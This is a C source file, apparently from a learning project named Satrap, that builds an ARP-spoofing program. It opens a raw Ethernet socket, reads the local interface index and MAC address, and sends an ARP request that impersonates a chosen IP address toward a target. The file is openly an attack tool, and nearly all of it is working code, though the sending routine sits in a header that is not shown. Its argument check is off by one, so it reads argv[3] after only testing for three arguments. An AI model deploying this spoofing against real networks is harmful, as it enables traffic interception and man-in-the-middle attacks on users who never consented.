133 lines
3.9 KiB
C
133 lines
3.9 KiB
C
/* Satrap/arp_spoof.c */
|
|
|
|
#include "arp.h"
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
|
|
/* ARGUMENT PARSING
|
|
- network interface to use
|
|
- target IP address
|
|
*/
|
|
|
|
if (argc < 3) {
|
|
printf("[FAIL] Too few arguments\n"
|
|
"Usage: %s <interface> <target IP address> <IP address to impersonate>\n", argv[0]);
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
char *if_name = argv[1];
|
|
|
|
char *target_ip_string = argv[2];
|
|
struct in_addr target_ip;
|
|
if (!inet_pton(AF_INET, target_ip_string, &target_ip)) {
|
|
perror("[FAIL] inet_pton() (badly formatted IP address)");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
char *source_ip_string = argv[3];
|
|
struct in_addr source_ip;
|
|
if (!inet_pton(AF_INET, source_ip_string, &source_ip)) {
|
|
perror("[FAIL] inet_pton() (badly formatted IP address)");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
printf("ARP request to IP address %s on interface %s, impersonating %s\n",
|
|
target_ip_string, if_name, source_ip_string);
|
|
|
|
|
|
|
|
/* ====================================================================== */
|
|
|
|
/* RAW SOCKET CREATION */
|
|
|
|
/* We open the raw socket */
|
|
/* AF_PACKET: This is a raw Ethernet packet (Linux only, requires root)
|
|
SOCK_DGRAM: The link-layer header is constructed automatically
|
|
(to build it ourselves, we could have used SOCK_RAW)
|
|
ETH_P_ALL: We want to listen to every EtherType (here, we could
|
|
also have chosen ETH_P_ARP) */
|
|
int sockfd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ALL));
|
|
if (sockfd < 0) {
|
|
perror("[FAIL] socket()");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
#ifdef DEBUG
|
|
printf("[OK] Raw Ethernet socket started successfully\n");
|
|
#endif
|
|
|
|
|
|
|
|
/* ====================================================================== */
|
|
|
|
/* INFORMATION ON THE LOCAL COMPUTER:
|
|
- index number of the network interface
|
|
- local IP address
|
|
- local MAC address
|
|
*/
|
|
|
|
/* Since this is very low-level, we can't use the usual interface
|
|
name (e.g. "eth0"), so we need to get the index number of the
|
|
ethernet interface. */
|
|
//char *if_name = "wlp3s0"; /* Change this if needed */
|
|
struct ifreq ifrindex;
|
|
size_t if_name_len = strlen(if_name);
|
|
if (if_name_len < sizeof(ifrindex.ifr_name)) {
|
|
memcpy(ifrindex.ifr_name, if_name, if_name_len);
|
|
ifrindex.ifr_name[if_name_len] = 0;
|
|
}
|
|
else {
|
|
printf("[FAIL] Error: interface name is too long\n");
|
|
}
|
|
/* We use ioctl() with SIOCGIFINDEX */
|
|
if (ioctl(sockfd, SIOCGIFINDEX, &ifrindex) == -1) {
|
|
perror("[FAIL] ioctl()");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
int ifindex = ifrindex.ifr_ifindex;
|
|
#ifdef DEBUG
|
|
printf("[OK] Index number of the Ethernet interface %s: %d\n", if_name, ifindex);
|
|
#endif
|
|
|
|
/* We get the MAC address using ioctl() (again) with SIOCGIFHWADDR */
|
|
struct ifreq ifrhwaddr;
|
|
if (if_name_len < sizeof(ifrhwaddr.ifr_name)) {
|
|
memcpy(ifrhwaddr.ifr_name, if_name, if_name_len);
|
|
ifrhwaddr.ifr_name[if_name_len] = 0;
|
|
}
|
|
else {
|
|
printf("[FAIL] Error: interface name is too long\n");
|
|
}
|
|
if (ioctl(sockfd, SIOCGIFHWADDR, &ifrhwaddr) == -1) {
|
|
perror("[FAIL] ioctl()");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
unsigned char *macaddr = (unsigned char *) &ifrhwaddr.ifr_hwaddr.sa_data;
|
|
#ifdef DEBUG
|
|
printf("[OK] Local MAC address: %02x:%02x:%02x:%02x:%02x:%02x\n",
|
|
macaddr[0], macaddr[1], macaddr[2], macaddr[3], macaddr[4], macaddr[5]);
|
|
#endif
|
|
|
|
/* We don't need the real local IP address, we'll use source_ip
|
|
instead */
|
|
struct sockaddr_in *ipaddr = malloc(sizeof(struct sockaddr_in));
|
|
ipaddr->sin_family = AF_INET;
|
|
ipaddr->sin_port = htons(5746);
|
|
ipaddr->sin_addr = source_ip;
|
|
char source_ip_string2[16];
|
|
if (!inet_ntop(AF_INET, &ipaddr->sin_addr, source_ip_string2, sizeof(source_ip_string2))) {
|
|
perror("[FAIL] inet_ntop()");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
#ifdef DEBUG
|
|
printf("[OK] Local IP address: %s\n", source_ip_string2);
|
|
#endif
|
|
|
|
|
|
/* ====================================================================== */
|
|
|
|
send_arp_request(sockfd, ifindex, ipaddr, macaddr, target_ip);
|
|
|
|
|
|
|
|
exit(EXIT_SUCCESS);
|
|
}
|